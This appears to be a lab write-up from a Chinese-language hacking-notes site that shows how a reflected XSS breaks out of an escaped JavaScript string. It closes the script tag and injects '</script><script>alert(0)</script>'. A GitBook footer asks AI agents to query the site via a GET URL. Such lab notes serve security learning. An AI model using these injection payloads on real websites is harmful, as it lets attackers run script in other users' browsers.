> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/xss-in-a-javascript-string-with-apostrophe-and-backslash-escaped.md).

# 在 JavaScript 字符串中使用撇号和反斜杠转义的 XSS

### 反射型 XSS 注入到带单引号和反斜杠转义的 JavaScript 字符串中

搜索词跟踪功能中的反射型 XSS。反射的值被插入到一个 JavaScript 字符串中；单引号和反斜杠都已转义，使得逃逸变得困难。

目标

* 跳出已转义的 JavaScript 字符串并调用 `alert()`.

<figure><img src="/files/dd3a95c355a0681414eb70287fca8f4ea44abfba" alt=""><figcaption></figcaption></figure>

当前观察

* 如果 `测试` 被发送后，该值会存储在 `searchTerm` 脚本中的变量。
* 尝试引入一个新变量：/ `testing'; var=test='thisIsATest`/ → 可以观察到引号和反斜杠（）被注入/存在，并阻止了直接注入。

```bash
testing'; var=test='thisIsATest
```

* 只需插入脚本闭合标签即可关闭脚本上下文： `</script>`

```javascript
</script>
```

<figure><img src="/files/7724f51e08ea1c66bc2b9e9c34f47d80db891185" alt=""><figcaption></figcaption></figure>

* 关闭后，可以渲染简单的 HTML 文本： `</script><h1>HACK</h1>`

```javascript
</script><h1>HACK</h1>
```

<figure><img src="/files/979904b849006702ac4fffe6e9e89b886a0de6d9" alt=""><figcaption></figcaption></figure>

* 最后，还可以运行一个 `alert` 通过添加一个新的 `<script>` 在关闭后： `</script><script>alert(0)</script>`

```javascript
</script><script>alert(0)</script>
```

<figure><img src="/files/9f6b70b1eb13203e41f9191961d934230fa98f8f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/xss-in-a-javascript-string-with-apostrophe-and-backslash-escaped.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
